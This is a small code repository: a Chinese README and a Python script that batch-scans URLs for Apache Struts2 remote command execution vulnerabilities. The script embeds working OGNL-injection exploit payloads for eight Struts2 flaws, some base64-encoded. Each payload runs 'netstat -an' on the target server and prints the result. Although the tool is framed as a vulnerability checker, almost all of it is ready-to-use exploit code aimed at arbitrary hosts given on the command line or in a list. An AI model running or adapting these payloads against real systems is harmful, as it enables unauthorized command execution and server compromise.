├── README.md └── struts-scan.py /README.md: -------------------------------------------------------------------------------- 1 | # struts-scan 2 | 快速检测struts命令执行漏洞,可批量。 3 | 4 | 支持对以下版本的检测: 5 | ST2-005 6 | ST2-009 7 | ST2-013 8 | ST2-016 9 | ST2-019 10 | ST2-devmode 11 | ST2-032 12 | ST2-037 13 | -------------------------------------------------------------------------------- /struts-scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | # code by Lucifer 4 | ''' 5 | 使用方法: python struts-scan.py http://vuln.com/xxx.action/do 6 | python struts-scan.py -f xxx.txt (批量扫描,每行一个) 7 | ''' 8 | import sys 9 | import base64 10 | import warnings 11 | import requests 12 | from termcolor import cprint 13 | 14 | warnings.filterwarnings("ignore") 15 | reload(sys) 16 | sys.setdefaultencoding('utf-8') 17 | 18 | headers = { 19 | "Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*", 20 | "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", 21 | "Content-Type":"application/x-www-form-urlencoded" 22 | } 23 | headers2 = { 24 | 25 | } 26 | class struts_baseverify: 27 | def __init__(self, url): 28 | self.url = url 29 | self.poc = { 30 | "ST2-005":base64.b64decode("KCdcNDNfbWVtYmVyQWNjZXNzLmFsbG93U3RhdGljTWV0aG9kQWNjZXNzJykoYSk9dHJ1ZSYoYikoKCdcNDNjb250ZXh0W1wneHdvcmsuTWV0aG9kQWNjZXNzb3IuZGVueU1ldGhvZEV4ZWN1dGlvblwnXVw3NWZhbHNlJykoYikpJignXDQzYycpKCgnXDQzX21lbWJlckFjY2Vzcy5leGNsdWRlUHJvcGVydGllc1w3NUBqYXZhLnV0aWwuQ29sbGVjdGlvbnNARU1QVFlfU0VUJykoYykpJihnKSgoJ1w0M215Y21kXDc1XCduZXRzdGF0IC1hblwnJykoZCkpJihoKSgoJ1w0M215cmV0XDc1QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKFw0M215Y21kKScpKGQpKSYoaSkoKCdcNDNteWRhdFw3NW5ld1w0MGphdmEuaW8uRGF0YUlucHV0U3RyZWFtKFw0M215cmV0LmdldElucHV0U3RyZWFtKCkpJykoZCkpJihqKSgoJ1w0M215cmVzXDc1bmV3XDQwYnl0ZVs1MTAyMF0nKShkKSkmKGspKCgnXDQzbXlkYXQucmVhZEZ1bGx5KFw0M215cmVzKScpKGQpKSYobCkoKCdcNDNteXN0clw3NW5ld1w0MGphdmEubGFuZy5TdHJpbmcoXDQzbXlyZXMpJykoZCkpJihtKSgoJ1w0M215b3V0XDc1QG9yZy5hcGFjaGUuc3RydXRzMi5TZXJ2bGV0QWN0aW9uQ29udGV4dEBnZXRSZXNwb25zZSgpJykoZCkpJihuKSgoJ1w0M215b3V0LmdldFdyaXRlcigpLnByaW50bG4oXDQzbXlzdHIpJykoZCkp"), 31 | "ST2-009":'''class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27netstat -an%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23sbtest.println%28%23d%29%2c%23sbtest.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29]''', 32 | "ST2-013":base64.b64decode("YT0xJHsoJTIzX21lbWJlckFjY2Vzc1siYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MiXT10cnVlLCUyM2E9QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKCduZXRzdGF0IC1hbicpLmdldElucHV0U3RyZWFtKCksJTIzYj1uZXcramF2YS5pby5JbnB1dFN0cmVhbVJlYWRlciglMjNhKSwlMjNjPW5ldytqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKCUyM2IpLCUyM2Q9bmV3K2NoYXJbNTAwMDBdLCUyM2MucmVhZCglMjNkKSwlMjNzYnRlc3Q9QG9yZy5hcGFjaGUuc3RydXRzMi5TZXJ2bGV0QWN0aW9uQ29udGV4dEBnZXRSZXNwb25zZSgpLmdldFdyaXRlcigpLCUyM3NidGVzdC5wcmludGxuKCUyM2QpLCUyM3NidGVzdC5jbG9zZSgpKX0="), 33 | "ST2-016":'''redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}''', 34 | "ST2-019":base64.b64decode("ZGVidWc9Y29tbWFuZCZleHByZXNzaW9uPSNmPSNfbWVtYmVyQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgnYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MnKSwjZi5zZXRBY2Nlc3NpYmxlKHRydWUpLCNmLnNldCgjX21lbWJlckFjY2Vzcyx0cnVlKSwjcmVxPUBvcmcuYXBhY2hlLnN0cnV0czIuU2VydmxldEFjdGlvbkNvbnRleHRAZ2V0UmVxdWVzdCgpLCNyZXNwPUBvcmcuYXBhY2hlLnN0cnV0czIuU2VydmxldEFjdGlvbkNvbnRleHRAZ2V0UmVzcG9uc2UoKS5nZXRXcml0ZXIoKSwjYT0obmV3IGphdmEubGFuZy5Qcm9jZXNzQnVpbGRlcihuZXcgamF2YS5sYW5nLlN0cmluZ1tdeyduZXRzdGF0JywnLWFuJ30pKS5zdGFydCgpLCNiPSNhLmdldElucHV0U3RyZWFtKCksI2M9bmV3IGphdmEuaW8uSW5wdXRTdHJlYW1SZWFkZXIoI2IpLCNkPW5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKCNjKSwjZT1uZXcgY2hhclsxMDAwMF0sI2QucmVhZCgjZSksI3Jlc3AucHJpbnRsbigjZSksI3Jlc3AuY2xvc2UoKQ=="), 35 | "ST2-devmode":'''?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=netstat%20-an''', 36 | "ST2-032":'''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=netstat -an&pp=____A&ppp=%20&encoding=UTF-8''', 37 | "ST2-037":'''/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=netstat -an''' 38 | } 39 | def check(self, pocname, vulnstr): 40 | if vulnstr.find("Active Internet connections") is not -1: 41 | cprint("目标存在" + pocname + "漏洞..[Linux]", "red") 42 | elif vulnstr.find("Active Connections") is not -1: 43 | cprint("目标存在" + pocname + "漏洞..[Windows]", "red") 44 | elif vulnstr.find("活动连接") is not -1: 45 | cprint("目标存在" + pocname + "漏洞..[Windows]", "red") 46 | elif vulnstr.find("LISTEN") is not -1: 47 | cprint("目标存在" + pocname + "漏洞..[未知OS]", "red") 48 | else: 49 | cprint("目标不存在" + pocname +"漏洞..", "green") 50 | 51 | def scan(self): 52 | cprint("-------检测struts2漏洞--------\n目标url:"+self.url, "cyan") 53 | try: 54 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-005'], timeout=6, verify=False) 55 | self.check("struts2-005", req.text) 56 | except: 57 | cprint("检测struts2-005超时..", "cyan") 58 | try: 59 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-009'], timeout=6, verify=False) 60 | self.check("struts2-009", req.text) 61 | except: 62 | cprint("检测struts2-009超时..", "cyan") 63 | try: 64 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-013'], timeout=6, verify=False) 65 | self.check("struts2-013", req.text) 66 | except: 67 | cprint("检测struts2-013超时..", "cyan") 68 | try: 69 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-016'], timeout=6, verify=False) 70 | self.check("struts2-016", req.text) 71 | except: 72 | cprint("检测struts2-016超时..", "cyan") 73 | try: 74 | req = requests.post(self.url, headers=headers, data=self.poc['ST2-019'], timeout=6, verify=False) 75 | self.check("struts2-019", req.text) 76 | except: 77 | cprint("检测struts2-019超时..", "cyan") 78 | try: 79 | req = requests.get(self.url+self.poc['ST2-devmode'], headers=headers, timeout=6, verify=False) 80 | self.check("struts2-devmode", req.text) 81 | except: 82 | cprint("检测struts2-devmode超时..", "cyan") 83 | try: 84 | req = requests.get(self.url+self.poc['ST2-032'], headers=headers, timeout=6, verify=False) 85 | self.check("struts2-032", req.text) 86 | except: 87 | cprint("检测struts2-032超时..", "cyan") 88 | try: 89 | req = requests.get(self.url+self.poc['ST2-037'], headers=headers, timeout=6, verify=False) 90 | self.check("struts2-037", req.text) 91 | except: 92 | cprint("检测struts2-037超时..", "cyan") 93 | 94 | 95 | 96 | if __name__ == "__main__": 97 | if sys.argv[1] == "-f": 98 | with open(sys.argv[2]) as f: 99 | for line in f.readlines(): 100 | line = line.strip() 101 | strutsVuln = struts_baseverify(line) 102 | strutsVuln.scan() 103 | else: 104 | strutsVuln = struts_baseverify(sys.argv[1]) 105 | strutsVuln.scan() 106 | --------------------------------------------------------------------------------